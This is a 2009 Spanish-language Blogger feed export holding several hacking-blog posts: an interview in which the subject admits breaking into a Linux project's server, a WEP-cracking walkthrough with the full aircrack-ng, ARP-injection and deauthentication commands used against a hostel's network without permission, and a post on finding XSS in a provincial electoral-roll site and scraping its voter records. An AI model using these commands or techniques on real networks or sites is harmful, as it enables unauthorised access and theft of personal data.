bold;"&gt;¿Te consideras ético, o la ética es algo que se ve mas desde afuera que de uno mismo?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y mira con eso respondiste vos mismo la pregunta...siempre es mas fácil señalar :P,...... Ética? no figura en mi diccionario, mas bien yo me creo alguien impulsivo, osea que no contemplo lo que pueda estar bien o mal, si alguien saldrá perjudicado...  la ética es un tema para tratarlo con pinzas creo yo...&lt;br /&gt;hay una linea demasiado fina entre ser ético y no... y todo depende de quien lo mire...en fin...esa es mi opinión :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Que pensas de Mauro Torres?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;esto es lo que pienso de mauro y espero que nadie se moleste :P, no considero que sea una mala persona, sino que es demasiado arrogante...o al menos&lt;br /&gt;así me cae a mi ... digamos que cuando alguien tiene poder (o cree tenerlo) hace abuso de ello... también claro esta depende de su entorno y de la contención que pueda llegar a tener para no descarrirlarse...pero en fin yo no soy nadie para juzgar como es, que hace..o que  es lo mejor para el...&lt;br /&gt;Sin embargo, pienso que debería ser un poco mas humilde ....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Que fue lo que te mostró la arrogancia de parte de el? &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bueno tuve la oportunidad de "conocerlo" en Catamarca, donde vino a colgarse el cartel de hacker y por sobre todo de ético..cosa que no tenia nada xD&lt;br /&gt;y hacia alarde de cosas como por ejemplo: que el descubrió el bug del token de joomla, eso lo tengo grabado xD&lt;br /&gt;también que el fue uno de los que descubrió el algoritmo del cvv2 y hasta donde tengo entendido eso lo descubrió Nicolás Montoza, alias Xonico.&lt;br /&gt;bueno y podría enumerar  muchas cosas mas&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Quien entro al servidor vos o Murder?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;bueno, en realidad la intrusión la realize yo primero, pero gracias al aporte de Murder, algo fundamental ...digamos que fue un 40 % de el y un 60% mio ...&lt;br /&gt;aun así sin su participación creo que no me hubiese sido tan fácil....teniendo en cuenta que esta en un servidor dedicado...&lt;br /&gt;Algunas cosas que encontramos ahí fueron una carpeta llamada /hack/ con archivos tales como shell.php. cmd.php etc..&lt;br /&gt;y algo mas particular fue el hecho de encontrar el apache corriendo con suid xD&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Osea que uds al ejecutar comandos desde la shell encontrada, estaban ejecutando comandos como uid=0?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;así es, pero ya estaba configurada así por defecto, que loco no?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿que pensas de la seguridad del servidor de Tuquito, cuales fueron las  falencias mas grosas?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;yo creo que la principal deficiencia del servidor, fue la negligencia del administrador, a lo mejor estaba confiado que nunca nadie entraría, y supongo que todavía se debe estar preguntando, como alguien tuvo acceso a un server donde solo estaba esa web.&lt;br /&gt;Por otro lado, estaba enel servidor de allytech, que a mi parecer deja mucho que desear esta empresa..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿pensaste en la repercusión que tendría?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;sinceramente no, lo hice por darme ese gustito... no hay nada como plantarse una meta y concretarla.&lt;br /&gt;alguna vez me plantee defacear el server de tuquito para demostrar que no había que tener mucho conocimiento, pero ya ves.... como se dio todo&lt;br /&gt;sinceramente si hubiese sabido que pasaría esto no lo hubiese hecho..�por que? por el hecho de que mucha gente trabaja en este proyecto y se vio perjudicada...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Cambiando de Tema ¿que estas estudiando y cuanto falta para q te recibas?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Estoy estudiando para analista de sistemas y con suerte me falta un poco mas de 12 meses :D&lt;br /&gt;Luego tengo pensado seguir con el 3 año de Ingeniería electrónica, siempre me gusto todo lo que tenga que ver con circuitos y es una asignatura pendiente&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;para el hack ¿Linux o Windows?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;50 y 50 digamos, me gusta el estudio de los sistemas y estudiar el comportamiento de los mismos...tanto para atacar como cuando son atacados :P&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿que Distro usas?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;La distribucion que elegí es Slackware, en este momento la 13.0 , y lo prefiero por su estabilidad, "seguridad" y por la sencilles del sistema. en lo posible trato de ser minimalista :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Kde o Gnome?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;KDE a morir, sinceramente nunca me gusto mucho Gnome, no me pude acostumbrar a usarlo, no me atrae. en cambio kde me parece mas atractivo y sencillo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Lenguaje preferido?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;el lenguaje del cual me enamore es PHP, la verdad que puedo hacer casi todo lo que quiero, aunque también me gusta C++ lenguaje en el cual también programo pero que todavía me falta mucho por conocer y llegar a dominarlo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Pensas vivir de la Seguridad Informática?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Sinceramente espero poder vivir de la Seguridad informática, pero aquí es muy difícil abrirse camino, quierooo empezar a perfeccionarme en este campo tambiénnn tratar de concientizar a los administradores... hace poco uno me contesto .." no nos hace falta ese servicio, total nos reponemofácilll cuando nos bajan la web..." eso lo dijo el admin de una municipalidad, je y yo me pregunto... no tiene interes por la integridad de los datos??&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Cual es tu meta en este momento?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;bueno mi meta por este momento, es principalmente terminar de estudiar, para poder trabajar, luego entre mis planes esta continuar con el desarrollo y compartir los pocos conocimientos que puedallegar a adquirir, ya que así conozco gente muy copada, y también muy capaz&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Por ultimo ¿que te pareció la entrevista? ya que sos el primero en que estreviste&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;la verdad que muy entretenida y me vuelvo a agradecerte la oportunidad de poder dejar unas palabras en tu blog, ya que veo que tienes un muy buen nivel entre las cosas que posteas, y haberme elegido me llena de orgullo&lt;br /&gt;Gracias&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-2610053723491042266?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/2610053723491042266/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/11/entrevista-daniel-godoy.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/2610053723491042266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/2610053723491042266'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/11/entrevista-daniel-godoy.html' title='Entrevista: Daniel Godoy'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DI2yEVgm8Qk/SwhG2uyKb1I/AAAAAAAAAEo/w0DyXqi50pc/s72-c/PB080111.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-7826298720312279329</id><published>2009-11-11T19:03:00.001-08:00</published><updated>2009-11-11T19:32:13.220-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Eventos'/><title type='text'>Salta L.U.G 2009</title><content type='html'>&lt;a href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/SvuBfUGzsWI/AAAAAAAAAEY/Fx3z3g8lclI/s1600-h/PB070090.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5403054552934232418" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px; TEXT-ALIGN: center" alt="" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/SvuBfUGzsWI/AAAAAAAAAEY/Fx3z3g8lclI/s320/PB070090.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;Bueno quiero felicitar desde mi humilde blog a toda la gente de &lt;a href="http://www.saltalug.org.ar/"&gt;Salta L.U.G,&lt;/a&gt; por la buena onda y la exelente organizacion en la &lt;a href="http://www.saltalug.org.ar/?q=node/441"&gt;4ta Jornada de Sofware Libre&lt;/a&gt;, gracias a Pedro Cacivio por llevarme y darme un lugar en sus charlas. La verdad que no me arrepiento de haber ido aunque este ahora apretadisimo con la facultad. Conoci a gente muy copada como Alexis Sarghel de &lt;a href="http://www.sarsys.com.ar/"&gt;Sarsys&lt;/a&gt;, Daniel Godoy, Luciano Laporta Podazza entre otros. Espero seguir asistiendo a estos eventos, asi que nos vemos en Jujuy pronto...=)..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-7826298720312279329?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/7826298720312279329/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/11/salta-lug-2009.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/7826298720312279329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/7826298720312279329'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/11/salta-lug-2009.html' title='Salta L.U.G 2009'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_DI2yEVgm8Qk/SvuBfUGzsWI/AAAAAAAAAEY/Fx3z3g8lclI/s72-c/PB070090.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-1771826977695235568</id><published>2009-11-06T21:45:00.001-08:00</published><updated>2009-11-09T07:57:53.915-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Wifi'/><category scheme='http://www.blogger.com/atom/ns#' term='Eventos'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Hacking Wifi - WEP</title><content type='html'>En este momento estoy en un hostel en la ciudad de Salta, donde vinimos con Sebastian Del Prado y Pedro Cacivio a realizar un seminario de forense, que lo dictamos el dia jueves 5 de noviembre en la universidad &lt;a href="http://www.unsa.edu.ar/"&gt;UNSA&lt;/a&gt;, muy buena asistencia y el publico conforme con la informacion que les pudimos otorgarle. Algunos tips fueron, Del Prado mostrando a full todo lo que sea forense en entornos Windows y los conceptos claves de como actuar en un esenario de ataque para poder recaudar toda la informacion, sacar fotos, tomar la informacion volatil, pendrive, discos, accesos etc. Pedro y yo mostramos ataques contra servidores Linux. y en el caso de un esenario de una maquina hackeada, cuales son los rastros que pudo haber dejado el hacker, plantacion de honeypot, el demonio syslogd, log de apache etc. Pero en fin este articulo que estoy escribiendo es sobre hacking en wireles. &lt;br /&gt;Primero que nada quiero mostrarle una imagen que capture hoy andando vueltas en camioneta mientras buscabamos Hostel. Observen la cantidad de AP usando encriptacion WEP que hay.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SvUNPbl0mgI/AAAAAAAAADY/kz11cKJLZFM/s1600-h/wifis-salta2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SvUNPbl0mgI/AAAAAAAAADY/kz11cKJLZFM/s320/wifis-salta2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5401237886856370690" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bueno ahora vamos a ver como podemos romper una encriptacion WEP. Hace 2 : 30 horas tuve un problemita donde la chica que trabaja de noche en el HOSTEL no tenia la clave de la WIFI, y solo sabian las chicas de la mañana, yo no podia creer eso!!!!. Nesesitaba mandar un misero mensaje y no tengo credito asi que, manos a la obra, y a quebrarla.&lt;br /&gt;&lt;br /&gt;Primero nesesitamos el paquete de aircrack, entonces ejecutamos como root.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;#aptitude install aircrack-ng&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Perfecto una vez que lo tengamos instalado podemos comenzar.&lt;br /&gt;Colocamos nuestra placa de red IEEE 802.11 en modo promiscuo, de esta forma&lt;br /&gt;para ver que placa de red tenemos del tipo IEEE 802.11 ejecutamos&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;#iwconfig&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ahora si.. para poner en modo promiscuo&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;#airmon-ng start wlan0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;en mi caso mi palca de red wireless es llamada wlan0, en ese lugar deben colocar la de uds.&lt;br /&gt;&lt;br /&gt;Segundo Paso es empezar a escuchar el aire, para ello ejecutamos&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;#airodump-ng mon0&lt;/span&gt; (mon0 es el nombre que me otorgo el airodum-ng para llamarla a mi placa "(monitor mode enabled on mon0) &lt;== asi dice")&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;CH  6 ][ Elapsed: 20 s ][ 2009-11-07 04:15                                         &lt;br /&gt;                                                                                                                                                            &lt;br /&gt; BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                                             &lt;br /&gt;                                                                                                                                                            &lt;br /&gt; 00:22:33:32:9E:70  -84       32       27    0   1  54e  WEP  WEP         hostal la Linda                                                                   &lt;br /&gt;                                                                                                                                                            &lt;br /&gt; BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                                                                  &lt;br /&gt;                                                                                                                                                            &lt;br /&gt; 00:22:33:32:9E:70  00:1F:3C:A4:8C:8C    0    1e- 0e     0       28  hostal la Linda            &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y que es todo esto? en este caso hay un solo AP que mi maquina pueda estar olfateando dentro de su radio. Donde dice BSSID abajo es la MAC del AP. despues tenemos en ENC que es WEP (tipo de encriptacion), el campo ESSID es el nombre de la red la cual es &lt;span style="font-weight:bold;"&gt;hostal la linda&lt;/span&gt;    y en la tercera filea hay mas campos que vendria a mostrar las maquinas conectadas a determinados AP. Es decir en este caso el BSSID=00:22:33:32:9E:70 tiene una maquina conectada a el la cual es la STATION=00:1F:3C:A4:8C:8C. &lt;br /&gt;&lt;br /&gt;Hay veces que cuando ejecutamos airodump-ng tenemos muchos AP que podemos ver pero nosotros solo nos queremos fijar en uno especifico al cual romper. Entonces lo que podemos hacer para poder situarnos en el canal que esta trabajando el target AP es de la siguiente manera                                                     &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;#airodump-ng mon0 -c 1 -w capture&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Que hicimos? primero le decimos que solo olfatee todo lo que va por el canal 1 con -c 1 (channel), y con -w capture (write) le decimos que nos guarde todo en un archivo llamado capture. El cual despues vamos a nesesitar para que el aircrack-ng pueda romper el pass.&lt;br /&gt;&lt;br /&gt;Cuarto paso: Seria acelerar la captura de paquetes, de la forma con reiyeccion de paquetes ARP para que el cliente (STATION) vuelva a enviar su auntentificacion y de este modo poder generar mas trafico. El comando es este &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;#aireplay-ng -3 -b 00:22:33:32:9E:70 -h 00:19:7D:1E:64:4A -x 700 mon0&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;Ahora el -3 significa el tipo de ataque (leer sobre arcracking-ng), que es reinyeccion de paquetes ARP para provocar nuevos IVS. En el caso de que todo este saliendo correctamente saldra una pantalla similar a esta. Ahora, tienen que esperar quizas unos minutos para que esto se vea algo asi&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/SvV10zF1w7I/AAAAAAAAADg/Ra1JbtUZUAU/s1600-h/wifi_hosteLalinda1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/SvV10zF1w7I/AAAAAAAAADg/Ra1JbtUZUAU/s320/wifi_hosteLalinda1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5401352878029128626" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En esta pantalla se ve en la shell de atras la salida del comando &lt;span style="font-weight:bold;"&gt;airodump-ng mon0 -c 1 -w capture&lt;/span&gt;, y en la que esta superpuesta es la de &lt;span style="font-weight:bold;"&gt;aireplay-ng&lt;/span&gt;, y en este caso la inyeccion de ARP se esta generando, de manera sastifactoria. :). Si se fijaran en la salida de airodump-ng el campo DATA subira mas rapido de lo que esta anteriormente y eso lo que queriamos lograr xD.&lt;br /&gt;Bien si con aireplay-ng no se pudo haber logrado lo anterior, tendriamos que realizar un DOS a la estacion conectada. Abrimos otra shell y ejecutariamos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;#aireplay-ng -0 -0 -a 00:22:33:32:9E:70 -c 00:19:7D:1E:64:4A   mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;De esta forma vaciariamos la cache del cliente para que se vuelva a indentificar. -a es el AP -c el CLIENTE. Si volveriamos a la shell donde se estaba ejecutando el aireplay-ng, se tendria que empezar a realizar el ataque. (en mi caso yo no hice un DOS o desautenticacion ya que ingreso bien la inyeccion de ARP)&lt;br /&gt;&lt;br /&gt;aqui otra imagen de la inyeccion, fijense como el campo DATA fue creciendo&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/SvV8Nnxq0RI/AAAAAAAAADo/z9yrZh1CJbw/s1600-h/wifi_hostelLalinda2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/SvV8Nnxq0RI/AAAAAAAAADo/z9yrZh1CJbw/s320/wifi_hostelLalinda2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5401359901558231314" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bien ahora solo nos queda comprarnos una coca y esperar. yo fui a caminar por ahi para conocer un poco mas de SALTA.&lt;br /&gt;Bueno una vez que tengamos un numero elevado en el campo DATA, yo por ejemplo lo hice con 234867 es el tiempo de crackear. &lt;br /&gt;Primero paramos el airdodump-ng con ^C. (Control + C). En la misma shell ejecutamos esto&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;#aircrack-ng capture-01.cap&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;Donde capture-01.cap es el archivo que me genero el airodump cuando coloque -w capture. Y en unos segundos tenemos la clave. Aqui la pantalla&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SvV9XQx8OTI/AAAAAAAAADw/vN7bR3cn23k/s1600-h/wifi_hostelLinda2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SvV9XQx8OTI/AAAAAAAAADw/vN7bR3cn23k/s320/wifi_hostelLinda2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5401361166695676210" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Moraleja, antes de realizar todo este ataque tratar de probar al menos unas claves relacionadas con el SSID. xD..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-1771826977695235568?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/1771826977695235568/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/11/hacking-wifi-wep.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/1771826977695235568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/1771826977695235568'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/11/hacking-wifi-wep.html' title='Hacking Wifi - WEP'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DI2yEVgm8Qk/SvUNPbl0mgI/AAAAAAAAADY/kz11cKJLZFM/s72-c/wifis-salta2.png' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-2106222283877914136</id><published>2009-10-28T21:23:00.000-07:00</published><updated>2009-10-28T22:08:35.373-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bot'/><category scheme='http://www.blogger.com/atom/ns#' term='Programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Consultas a Padron Electoral 2009</title><content type='html'>Bueno estuve mirando la pagina del padrón de las elecciones pasadas en la provincia de Corrientes &lt;a href="http://defsep13.corrientes.gov.ar/"&gt;http://defsep13.corrientes.gov.ar/&lt;/a&gt;, donde se votaba para Gobernador. Y fui probando posibles inyecciones en SQL pero no tenia nada de eso, bien filtradas las variables. Así que pase a otro punto, el XSS donde obtuve éxito, pero lo deje alli y me intereso otra cosa . &lt;br /&gt;Como vi que se podía consultar sin una previa &lt;a href="http://es.wikipedia.org/wiki/Captcha"&gt;Captcha&lt;/a&gt;, me puse a codear un script que automatiza las peticiones, y descargarme el padrón de apoco :).&lt;br /&gt;El script lo codifique en perl &lt;a href="http://paste2.org/p/488888"&gt;Aqui el s0urce&lt;/a&gt;, lo que hace es abrir un socket hacia el puerto 80, y enviar cabeceras por el método &lt;a href="http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods"&gt;POST&lt;/a&gt; de HTTP, haciéndolo dentro de un for para ir cambiando el numero de documento empezando desde 1 hasta una cota maxima que pongamos. Lo hago así por que la consulta aunque pongas un numero de DNI donde no tenga la cantidad de digitos exigentes, la genera igual. Es decir si yo mando el documento 1 con genero masculino. La consulta traerá el primer documento masculino que termine en 1. Si coloco 2 con genereo masculino, la consulta traerá el primer documento maculino que termine con 2 y así.&lt;br /&gt;Bueno esto genera un archivo en extensión html el cual uds pueden cambiarlo desde el código el nombre(Linea 4), también pueden cambiar para que busque genero femenino, en vez de Masc. coloquen Fem. (Linea 23).&lt;br /&gt;&lt;br /&gt;Aqui hay una captura de pantalla.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SukguI_NQDI/AAAAAAAAADQ/-olLozkWWwQ/s1600-h/padron.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 175px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SukguI_NQDI/AAAAAAAAADQ/-olLozkWWwQ/s320/padron.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5397881605438914610" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Obviamente que en este archivo mas abajo siguen mas datos, en esta captura solo se logra ver uno.&lt;br /&gt;Saludos..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-2106222283877914136?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/2106222283877914136/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/10/consultas-padron-electoral-2009.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/2106222283877914136'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/2106222283877914136'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/10/consultas-padron-electoral-2009.html' title='Consultas a Padron Electoral 2009'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DI2yEVgm8Qk/SukguI_NQDI/AAAAAAAAADQ/-olLozkWWwQ/s72-c/padron.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-8652412546220562652</id><published>2009-10-22T10:30:00.000-07:00</published><updated>2009-10-26T09:16:54.678-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VM'/><category scheme='http://www.blogger.com/atom/ns#' term='articulo'/><title type='text'>Configurando VMware  Workstation para Debian</title><content type='html'>Bueno este post es para aquellos que quieran iniciarse en el mundo de Linux y por ahí no se animan a instalar alguna distro en su disco por miedo a la instalación o por miedo a que pase algo. Vamos a utilizar la tecnologia de virtualizacion. Yo estoy utilizando la VMware Workstation 5.5.0 pero la ultima es VMware Workstation 6.0.2. Se la pueden descargar de la &lt;a href="http://www.vmware.com/products/workstation/index.html"&gt;pagina oficial&lt;/a&gt; un trial de 30 días.&lt;br /&gt;&lt;br /&gt;Entonces empezemos.. :)&lt;br /&gt;&lt;br /&gt;1)Al abrir nos aparecera esta pantalla. Ingresaremos donde dice &lt;span style="font-weight:bold;"&gt;"New Virtual Machine" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/SuCeGuAV3kI/AAAAAAAAABg/rEDWh3tyWF0/s1600-h/vm1.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 190px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/SuCeGuAV3kI/AAAAAAAAABg/rEDWh3tyWF0/s320/vm1.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395486191855722050" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2) Seguira esta pantalla con la bienvenida, daremos clic a &lt;span style="font-weight:bold;"&gt;Siguiente&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/SuCetfio9-I/AAAAAAAAABo/zKcK6sMLsV4/s1600-h/vm2.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 285px;" 